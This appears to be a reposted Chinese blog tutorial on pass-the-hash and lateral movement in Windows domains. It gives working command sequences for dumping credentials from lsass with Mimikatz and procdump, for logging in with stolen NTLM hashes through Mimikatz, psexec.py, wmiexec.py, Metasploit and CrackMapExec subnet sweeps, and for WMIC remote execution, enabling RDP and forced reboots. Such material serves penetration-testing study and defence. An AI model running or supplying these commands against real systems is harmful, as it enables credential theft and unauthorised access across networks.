赞
踩
Pass The Hash:通过找到与账号相关的密码散列值(通常是NTLM Hash)来进行攻击。
在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。
因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。同时,通过哈希传递攻击,攻击者不需要花时间破解密码散列值(从而获得密码明文)
Mimikatz(猕猴桃)是法国人benjamin开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取WindowsXP-2012
等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具
补充:在windows中版本小于2012的 windows 都是用明文传输用户身份等一些东西,也有一定的区别 是,当打了某个KB2871997补丁的时候也是不能明文进行传输的。
cls 清屏
standard 标准模块,基本命令
crypto 加密相关模块
sekurlsa 与证书相关的模块
kerberos kerberos模块
privilege 提权相关模块
process 进程相关模块
serivce 服务相关模块
lsadump LsaDump模块
ts 终端服务器模块
event 事件模块
misc 杂项模块
token 令牌操作模块
vault Windows 、证书模块
minesweeper Mine Sweeper模块
net
dpapi DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
busylight BusyLight Module
sysenv 系统环境值模块
sid 安全标识符模块
iis IIS XML配置模块
rpc mimikatz的RPC控制
sr98 用于SR98设备和T5577目标的RF模块
rdm RDM(830AL)器件的射频模块
acr ACR模块
version 查看版本
exit 退出
获取登陆用户信息及密码,如果是在系统权限或者psexec进入的系统权限下,直接使用该命令,而无需运行privilege::debug,否则需要运行该命令
sekurlsa::logonpasswords
获取WDigest凭证,可以获取明文密码
sekurlsa::wdigest
获取LM&NTLM凭证,可以获取明文密码
sekurlsa::msv
加载dmp文件,并导出其中的明文密码
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
导出lsass.exe进程中所有的票据
sekurlsa::tickets /export
前提条件:必须是管理员权限否则有些功能会造成阉割
开启调试
log
privilege::debug
出现 OK 20
即可
获取hash
sekurlsa::logonpasswords
将输出的hash保存出来
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> passwordhash.txt
这里补充一下域控的一些知识:
msv:这项是账户对应密码的各种加密协议的密文,可以看到有LM、NTLM和SHA1加密的密文
domain:域是Windows网络操作系统的应用模型,域(Domain)是Windows网络中独立运行的单位
logonserver:明文密码
ntlm:NTLM凭证由域名、用户名及在最初登录时所输入的加密口令所组成。在DC上的安全服务管理将活动目录中的NTLM用户凭证的安全拷贝用于NTLM鉴别
注意:NTLM 是我们所要的必需品
获得 hash 之后进行登录
sekurlsa::pth /user:域名\用户名 /domain:主机名.域名 /ntlm:相应名字的ntlm值
//此时会弹出主机名的cmd
这样就提权成功了
获取到内存文件lsass.exe
进程 (它用于本地安全和登陆策略) 中存储的明文登录密码,内存转储文件
procdump
项目地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
(1)获取 lsass.dmp 文件(需要管理员权限)
这个文件为 lsass.exe 进程转储文件,在文件中记录了内存当中存储的内容,各式各样包括但不限于账号、密文等信息,我们可以用 mimikatz 对内存转储文件筛选我们所需要的数据
win7 进入任务管理器点击进程,显示所有用户的进程即可搜索到
win10 任务管理器点击详细信息可搜索到
方法一:手动转储文件
打开任务管理器,显示所有用户的进程,右键文件创建转储文件
成功后显示文件存储路径
将文件放入 mimikatz 根目录下
打开 mimikatz 进行相关操作,记得管理员身份运行
开启调试
privilege::debug
执行命令读明文
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
可以看到也读取出来了明文密码,那么就可以进行移动啦
方法二:使用 procdump 进行内存转储的提取
在 procdump 文件目录处打开 PowerShell ,执行下列命令
读取进程为lsass的信息
get-process lsass
记录id值,使用procdump64.exe进行转储操作,.\procdump64.exe为运行文件指令
.\procdump64.exe -accepteula -ma ID lsass.dmp
可见文件已经保存在其目录下,剩下的就跟上面一样啦
提权已经做好了我们是不是要进行横向移动啦,这样就可以得到更多的信息啦
Telnet 等实用工具和远程控制程序(如 Symantec 的 PC Anywhere)允许你在远程系统上执行程序,但它们可能很难设置并要求你在想要访问的远程系统上安装客户端软件。 PsExec 是一种轻量级 telnet-replacement
,可用于在其他系统上执行进程,为控制台应用程序提供完全交互性,而无需手动安装客户端软件。 PsExec 最强大的用途包括对远程系统和远程启用工具(如 ipconfig)启动交互式命令提示符,否则无法显示有关远程系统的信息。
注意:一些防病毒扫描程序报告一个或多个工具感染了“远程管理员”病毒。 PsTools 中没有含有病毒,但它们已被病毒使用,这就是为什么它们触发病毒通知的原因
先有 ipc(进程间通信) 链接,psexec 需要明文或 hash 传递
记得在文件目录处启动 cmd
psexec.exe /accepteula /s \\ip_address -u Administrator -p password cmd
-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回
显
-u 域\用户名
-p 密码
在 mimikatz 已经获得了相应的主机(域控)账号和密码
具体判断在上一篇博客有写,那么我们就可以进行操作啦,因为是明文,所以我们可以直接看到,写进去就行了
psexec.exe /accepteula /s \\目标主机地址 -u 目标用户名 -p 密码 cmd
这样我们就能执行命令了呀,那么如果不是明文传输的呢是 hash 加密呢
不知道明文密码,但是知道我们要登录的主机的hash,使用hash进行登录 (可以用作权限维持)
PsExec.exe -hashes 随便写(长度最好一样):mimikaytz抓取到的加密密文ntlm值./Administrator@ip_address
使用 python 脚本写的 psexec.py 进行 hash 的爆破登录,注意如果靶机有 python3 环境也可以进行,如果没有,需将进行设置使攻击机的 ip 能 ping 通目标 ip
当然这个脚本不管是否明文都可以进行爆破登录
在知道密码的情况下:
python3 psexec.py 主机名/用户名@IP地址
回车,然后输入密码
成功
//登陆其他主机管理员
psexec.exe /accepteula /s \\IP地址 -u 用户名 -p 密码 cmd
可以看到是有乱码现象,不要慌,这是Linux编码问题,只需要输入
chcp 65001
一下就可以看到解决了呢
在不知道密码的情况下:
python3 psexec.py -hashes 随便写(长度最好一样):mimikaytz抓取到的加密密文ntlm值 ./Administrator@ip_address
./Administrator是相当于进入域内的管理员,而不是主机管理员
在前面写的提权那边我们比较常见使用 msf 进行漏洞利用,同样,这里我们使用 msf 进行相应的 msf hash 进行。
进入msf
msfconsole
使用模块exploit/windows/smb/psexec
use exploit/windows/smb/psexec
配置options,可用写options查看具体配置
set SMBUser Administrator
set rhosts ip_address
set smbpass 随便写(长度最好一样):mimikaytz抓取到的加密密文ntlm值
run
可以看到是利用了 445 端口 SMB 协议,run 起来,成功
CrackMapExec 可以对 C 段中的主机进行批量 pth(很简单,根据自己的需求对着指令敲键盘就行)比较危险,谨慎使用
项目下载地址:https://github.com/byt3bl33d3r/CrackMapExec.git
使用教程:https://fdlucifer.github.io/2020/12/14/crackmapexec/
crackmapexec smb 网段/24 -u administrator -H ntlm值
对网段/24 的 C 段进行批量 pass the hash
(ntlm 值相同的主机)
WMI 全称 Windows Management Instrumentation
即 Windows 管理工具,Windows 98 以 后的操作系统都支持 WMI。由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越 多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些
WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中 使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显)
首先查看目标主机是否开启135和445端口,此处,可也将135端口理解为输入端口,445为输出端口
知道密码的情况下
# 执行命令并保存在C盘
wmic /node:ip_address /user:administrator /password:xxxxxxx process call create "cmd.exe /c ipconfig > c:\ip.txt"
接下来建立 IPC$ ,使用type读取执行结果
# 建立IPC$
net use \\ip_address\ipc$ "password" /user:administrator
# 读取结果
type \\ip_address\c$\ip.txt
可以看到命令成功执行,在目标机 C 盘有个 1.txt 文件,内容输出成功
(1)非明文获取
在 impacket 工具包里有 wmiexec.py 脚本,可以用来直接获取 shell其他攻击手法可以看下 readme.md,这里只简单的对 pth 做一下实验
python3 wmiexec.py -hashes 随便写(最好长度一致):抓到的ntlm值
Administrator@IP地址 "whoami"
python3 wmiexec.py -hashes fhskfshflksh:ntml 用户名@主机ip
(2)明文获取
python3 wmiexec.py 用户名:密码@IP
wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能
wmiexec.vbs 下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs
方式:
cscript //nologo wmiexec.vbs /shell IP地址 用户名 密码
使用 vmiexec.vbs
执行单条命令
cscript wmiexec.vbs /cmd IP地址 用户名 密码 "命令"
# 适于 Windows xp、server 2003
wmic /node:IP地址 /user:administrator /password:123456 PATH
win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
# 适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname
wmic /node:IP地址 /user:administrator /password:123456 RDTOGGLE WHERE
ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
#或者
wmic /node:IP地址 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /vfDenyTSConnections /t REG_DWORD /d 0 /f'
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /vfDenyTSConnections
wmic /node:IP地址 /user:administrator /password:123456 process call create "shutdown.exe -r -f -t 0"
Invoke-WmiCommand.ps1
是 PowerSploit
工具包里的一部分,该脚本是利用 Powershell 调用 WMI 来远程执行命令。
#开启执行Invoke-WmiCommand脚本权限
set-ExecutionPolicy RemoteSigned
#在powershell中运行以下命令
#导入Invoke-WmiCommand.ps1脚本
Import-Module .\Invoke-WmiCommand.ps1
#指定目标系统用户名
$User = ".\administrator"
#指定目标系统的密码
$Password = ConvertTo-SecureString -String "QWEasd123" -AsPlainText -Force
#将账号和密码整合起来,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList $User,$Password
#指定要执行的命令和目标 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName IP地址
# 将执行结果输出到屏幕上
$Remote.PayloadOutput
Invoke-WMIMethod
是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指 定程序。
#指定目标系统用户名
$User=".\administrator"
#指定目标系统密码
$Password=ConvertTo-SecureString -String "QWEasd123" -AsPlainText -Force
#将账号和密码整合起来,以便导入Credential中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
#在远程系统中运行calc.exe命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "IP地址" -Credential $Cred
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。